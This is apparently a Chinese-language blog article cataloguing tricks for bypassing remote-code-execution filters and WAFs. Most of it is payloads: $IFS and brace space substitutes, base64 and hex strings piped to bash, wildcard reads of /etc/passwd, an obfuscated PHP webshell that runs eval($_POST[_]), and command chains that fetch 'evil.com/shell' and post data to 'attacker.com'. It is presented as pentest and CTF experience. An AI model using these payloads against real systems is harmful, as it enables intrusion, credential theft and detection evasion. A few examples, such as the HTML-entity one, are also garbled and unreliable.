盘点RCE(远程代码执行)那些意想不到的绕过奇技
1. 空格过滤的N种花式绕过
当Web应用对空格进行过滤时,攻击者往往会陷入困境。但实战中我发现,Linux系统提供了至少8种等效空格的替代方案。最经典的是使用$IFS环境变量,这个存储着默认分隔符的变量在bash中默认就是空格。比如执行cat$IFS/etc/passwd就能完美绕过基础过滤。
更隐蔽的招数是用${IFS}的变体形式,比如$IFS$9。这里的$9指向第9个命令行参数,通常为空字符串,组合起来就成了"隐形空格"。我曾在一个CTF比赛中用{cat,/etc/passwd}这种花括号语法成功绕过WAF,原理是花括号内的逗号会被解析为参数分隔符。
对于Web环境,还可以用URL编码套路:
%20是标准空格编码%09是水平制表符%0a换行符在某些场景也能用
有个特别骚的操作是用重定向符号伪装:cat</etc/passwd。这个<符号在Linux中会被解析为输入重定向,但看起来完全不像空格。类似的还有<>组合,我在测试某电商系统时就用这招突破了过滤。
2. 命令执行函数的七十二变
很多WAF会重点监控system()、exec()这类高危函数,但PHP实际有十几种执行命令的途径。有次渗透测试遇到过滤system的情况,我改用反引号`ls`直接执行成功——这种语法本质调用的是shell_exec()。
更隐蔽的姿势是利用popen()和proc_open()这类流式处理函数。比如:
$handle = popen('whoami', 'r'); echo fread($handle, 1024); pclose($handle);这种写法既执行了命令,又规避了直接的关键词匹配。
PHP的动态函数调用特性更是个宝藏:
$func = 'sy'.'stem'; $func('ls');通过字符串拼接就能轻松绕过静态检测。我还见过用call_user_func_array()调用命令的案例,这种冷门函数很少被加入黑名单。
3. 连接符的魔法组合
命令连接符就像SQL注入中的and/or,不同组合会产生奇妙效果。Windows和Linux都支持的&符号最实用:
ping 127.0.0.1 & whoami这个&会让前后命令都执行,常用于盲注场景。
在Linux中分号;是万能连接器:
cd /tmp; wget http://evil.com/shell但更狡猾的是||组合,只有前命令失败才执行后者。有次遇到严格过滤的登录接口,我构造:
false || curl -X POST https://attacker.com成功触发了数据外泄。
最危险的是&&连接,它要求前命令必须成功:
[ -f /etc/passwd ] && cat /etc/passwd这种写法在防御方看来就像普通条件判断,极具迷惑性。
4. 编码的艺术:从Base64到十六进制
当直接输入命令被拦截时,编码转换就是绝佳跳板。Base64是最常用的:
echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash这个payload先解码成cat /etc/passwd再执行。我在某次红队行动中,用这种三层嵌套绕过EDR检测:
`echo 'd2hvYW1p' | base64 -d` | bash十六进制更隐蔽:
echo "636174202F6574632F706173737764" | xxd -r -p | bash甚至可以用八进制ASCII码:
$(printf "\154\163") # 等价于ls最绝的是Unicode编码绕过,像这样:
\u{63}\u{61}\u{74} /etc/passwd这种写法在PHP环境下尤其有效,很多WAF根本不会解码检测。
5. 通配符的奇幻漂流
Linux的通配符简直是绕过利器。当/被过滤时,可以这样玩:
cat /etc???pass*问号匹配单个字符,星号匹配任意长度。有次遇到严格过滤的场景,我用:
cat /e??/p??s??成功读取了密码文件。
更高级的玩法是用字符类:
cat /[e]tc/[p]asswd方括号表示匹配其中任意字符,虽然这里只有一个字符显得多此一举,但能有效干扰正则检测。
花括号扩展也很有用:
{cat,/etc/passwd}这种语法会被解析为两个参数,完全避开了空格检测。我在某个云服务商的沙箱逃逸漏洞中,就用这个技巧突破了命令限制。
6. 变量拼接的魔术戏法
PHP的变量特性让安全过滤变得困难。看这个例子:
$a='sys';$b='tem';$a.$b('whoami');通过字符串拼接动态生成system函数名。更隐蔽的版本:
$_=[];$_=@"$_";$_=$_['!'=='@'];$__=$_;$__++;$__++;$__++;$___=$__;$__++;$__++;$____=$__;$__++;$__++;$_____=$__;$______="$____$___$__$_____";$______($_[_]);这段天书般的代码最终执行的是eval($_POST[_]),原理是利用数组转换和字符自增。
环境变量也能玩出花:
${PATH:0:1} # 提取PATH变量的第一个字符(/) ${PATH:5:1}${PATH:2:1} # 组合成"ls"这种写法完全不出现任何命令关键词,靠变量截取拼出完整指令。
7. 注释的障眼法
PHP注释不仅能干扰代码审计,还能帮助绕过WAF。例如:
system/*这是注释*/(whoami);注释完美拆分了函数名和参数。更复杂的变种:
(sy./*xyz*/.stem)/**/(wh./*123*/.oami);这种写法对基于正则的防护简直是降维打击。我在测试某防火墙时,用这种技巧成功执行了system(whoami)。
HTML实体编码也值得一试:
system(whoami);服务端会自动解码为正常命令,但WAF可能只检查原始输入。
8. 冷门字符的奇袭
有些特殊字符在命令解析中有妙用。比如$*和$@在没有参数时都为空:
who$@ami whoa$*mi实际执行的都是whoami。反斜杠转义也能制造混乱:
c\a\t /etc/passwd未初始化变量是另一个突破口:
cat$u /etc/passwd这里的$u未定义,会被替换为空字符串。我还见过用${undefined}绕过的案例,原理相同但更隐蔽。
反引号嵌套堪称终极杀招:
666`whoami`666虽然会报错666root666: command not found,但命令已经执行,且输出结果显示在错误信息中。这种技巧在盲注场景特别有用。
